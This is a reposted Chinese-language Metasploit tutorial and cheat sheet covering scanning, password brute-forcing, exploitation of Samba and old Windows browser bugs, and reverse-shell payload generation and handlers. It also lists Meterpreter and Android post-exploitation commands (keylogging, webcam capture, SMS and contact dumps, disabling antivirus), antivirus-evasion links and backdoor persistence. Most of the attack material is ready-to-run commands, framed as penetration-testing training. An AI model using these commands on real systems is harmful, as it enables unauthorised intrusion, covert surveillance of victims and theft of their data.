zoukankan      html  css  js  c++  java
  • metasploit篇

    第一部分:基本使用

    1、在kali中metasploit默认使用postgresql作为它的数据库;

    /etc/init.d/postgresql start

    开机自启:update-rc.d postgresql enable。

    2、初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户;

    msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)

    成功初始化会输出如下信息:

    3、启动metasploit:msfconsole
    4、查看数据库连接状态

    5、工作台相关指令:

    workspace  -a test      新建test工作台

    workspace  -d test      删除test工作台

    workspace  test       切换到test工作台

    6、获取帮助信息

     7、使用nmap(支持扫描域名,不过会很慢,不推荐)

    db_nmap  -sS  123.110.112.210   扫描主机
    db_export 1.xml      导出扫描结果(导出到当前工作路径)
    db_import    1.xml      导入扫描结果
    hosts          查看扫描结果
    

    第二部分:信息收集模块

    nmap探测开放端口和服务

    -sS  sync半开扫描
    -Pn  不使用ping方式探测主机
    -A    探测服务类型
    -O    探测操作系统类型
    

    常用组合:

    db_nmap  -sS  -Pn  -A  -O  123.110.111.210

     查看扫描结果:

     db_services    查看扫描结果

    扩展组合:

    nmap  -T4  -A-v      深入式扫描
    nmap  -sS  -sU  -T4  -A-v  同上,且扫UDP
    nmap  -p  1-65535  -T4  -A-v  扫描所有TCP端口
    nmap  -T4  -A-v  -Pn    不使用ping
    nmap  -T4  -A-v  -sn    使用ping
    nmap  -T4  -F        快速扫描
    nmap  -sV -T4 -O -F  --version-light    加强版快速扫描
    nmap  -sn  --traceroute    快速路由跟踪扫描
    nmap  -sS -Pn -A -oX  subnet1 123.110.221.120/24  将扫描结果导出为subnet1.xml
    

     模块使用方式示例:

    search  telnet    搜索相应模块
    use  auxiliary/scanner/telnet/telnet_version    使用相应模块
    show options                查看可设置的选项 set RHOST   123.120.111.210/24         设置IP地址 set THREADS  50             设置线程数 run(或exploit)                开始扫描

     常用扫描模块:

    auxiliary/scanner/telnet/telnet_version     扫描开放了telnet的主机
    auxiliary/scanner/ssh/ssh_version         扫描ssh主机
    auxiliary/scanner/mssql/mssql_ping        扫描mssql主机
    auxiliary/scanner/ftp/ftp_version         扫描ftp主机
    auxiliary/scanner/ftp/anonymos           扫描ftp匿名登录
    auxiliary/scanner/discovery/arp_sweep       扫描局域网内有哪些主机存活
    auxiliary/scanner/http/dir_scanner        扫描网站目录
    auxiliary/scanner/snmp/snmp_login        扫描snmp主机
    

     第三部分:密码爆破

    爆破方式,利用密码文件进行爆破,使用方式同上,只是设置选项常用的多了两个,可通过show  options查看到

    set  USERNAME  root            设置需要爆破的用户名
    set  PASS_FILE   /root/pass.txt        设置爆破需要调用的字典文件
    set  USER_FILE  /root/user.txt        通过文件调用需要爆破的用户名
    

    常用模块:

    auxiliary/scanner/ssh/ssh_login      ssh密码爆破
    auxiliary/scanner/http/tomcat_mgr_login    tomcat密码爆破
    auxiliary/scanner/mysql/mysql_login      mysql口令爆破
    auxiliary/scanner/smb/smb_version     samba爆破
    

    第四部分:漏洞利用

    linux  samba漏洞

    search   samba    
    use   linux/samba/lsa_transnames_heap
    show  payloads    查看载荷
    set   payload  linux/x86/shell_bind_tcp    设置载荷,这是linux的一个反弹shell
    set   Lport  8080        
    set   RHOST   192.168.2.116
    exploit
    

     dll  注入漏洞

    针对windows低版本的浏览器(IE6)通过访问一个指定的URL地址,从而留下一个会话,利用此会话可以查看被攻击对象的详细信息

    use   exploit/windows/browser/webdav_dll_hijacker
    set   payload   windows/meterpreter/bind_tcp
    show   options
    set   SRVHOST   192.168.1.211
    set   LHOST   192.168.1.211    设置本地地址
    set   RHOST   192.168.1.127    设置要攻击的机器的地址
    set   LPORT 1215          本地监听的端口
    

     实战举例:

    search   ms12-004    找到漏洞的编号
    show   options      
    use  exploit/windows/browser/ms12-004_midi    利用此漏洞,从名字可以看出是和浏览器相关的一个漏洞
    set   PAYLOAD    windows/meterpreter/reverse_tcp    生成一个windows下的反弹shell
    set   LHOST   192.168.1.102        
    show   targets      
    exploit        开始攻击
    

    Windows相关漏洞编号及相关信息可在此网站寻找:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-023

    metasploit常用漏洞利用命令:

    show  targets    显示目标(OS版本)
    set   target   <target_number>   设置目标编号
    exploit        开始
    session   -l    <ID>   列出会话
    session   -i    <ID>   选择会话
    session   -k   <ID>   结束会话
    <ctrl>   z    把会话放到后台
    <ctrl>   c    结束会话
    show  auxiliary    显示辅助模块
    use  <auxiliary  name>  使用辅助模块
    set   <option  name>  <option>  设置选项
    run    运行

    第五部分:shell_code

     Windows:

    1、生成shell_code:(可直接在终端shell下操作)

    msfpayload  windows/meterpreter/reverse_tcp  LHOST=192.168.0.213  LPORT=1121  X  >  /root/shell.exe
    

    2、侦听shell_code:

    新开一个窗口

    msf> use  exploit/multi/handler
    set  payload  windows/meterpreter/reverse_tcp    设置反弹shell
    set  LHOST  192.168.12.76    设置源IP
    set  LPORT  1127         设置源端口
    exploit             发起侦听
    或者
    msfcli exploit/multi/handler  PAYLOAD=windows/meterpreter/reverse_tcp  LHOST=192.168.12.76  LPORT=1127  E
    一条语句搞定

     3、将生成的shell.exe传到被攻击的机器上执行一下

     4、控制端查看是否收到反弹shell

    ==================================================

    Linux:
    同上,改模块为:linux/x86/meterpreter/reverse_tcp
    java:(shell后缀名为jar)
    同上,改模块为:java/meterpreter/reverse_tcp
    php:
    同上,改模块为:php/meterpreter/reverse_tcp
    android:(shell后缀名为apk)
    同上,改模块为:android/meterpreter/reverse_tcp
    安卓常用命令:
    dump_contacts      导出电话
    dump_sms        导出信息
    webcam_list        可以看到有几个摄像头
    -i  1            选择后摄像头
    webcam_stream       开启摄像头
    webcam_snap        拍照截屏
    

     meterpreter基本命令:

    截屏:screenshot
    获取系统运行的平台:sysinfo
    获取键盘记录:keyscan_start或keyscan_dump
    查看进程:ps
    切换进程:migrage  1774
    记录键盘输入:run   post/windows/capture/keylog_recorder  
    进程迁移:run   post/windows/manage/migrate
    查看目标机所有流量:run  packetrecorder  -i  1
    提取系统信息:run   scraper
    关闭杀毒软件:run   killav
    查看主机是真实机还是虚拟机:run checkvm
    添加用户:run getgui
    显示远程机器的防火墙规则:run getcountermeasure

    免杀系列

    shellter免杀:参见  https://blog.csdn.net/sufeiboy/article/details/65939342

    veil和msfvenom免杀   参见:https://blog.csdn.net/wyf12138/article/details/79825833

    第六部分:持久控制

    run  persistence  -X  -i  50   -p  1121  -r  192.168.12.123    当你生成的exe后门在客户机上正在执行的时候,通过这条命令代表将其加入到自启动里面,并每50秒检查一次
    msf> use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp    设置反弹shell
    set LHOST 192.168.12.76    设置源IP
    set LPORT 1127         设置源端口
    exploit             发起侦听

    ./msfpayload   win32_reverse  LHOST=192.168.1.117  LPORT=444  R  | ./msfencode  -b  "x00x0ax0d"  //Windows版

    ./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "x00x0ax0dx20"          //Linux版
     以上命令的作用是生成一个反弹shell,并且对其进行编码,把16进制的x00x0ax0d给排除掉,主要是在缓冲区溢出的时候能够用到

    添加入站规则,非本机127.0.0.1访问本机的4444和13327都DROP掉,通常用于本机测试

    • iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP

    • iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP

  • 相关阅读:
    讨论一下,乌云漏洞库的学习方法
    a
    asss
    密码重置
    SQL注入2
    起名字真难
    Header
    SQL注入1
    伪装者
    ofbiz 代码日记
  • 原文地址:https://www.cnblogs.com/steven9898/p/11388131.html
Copyright © 2011-2022 走看看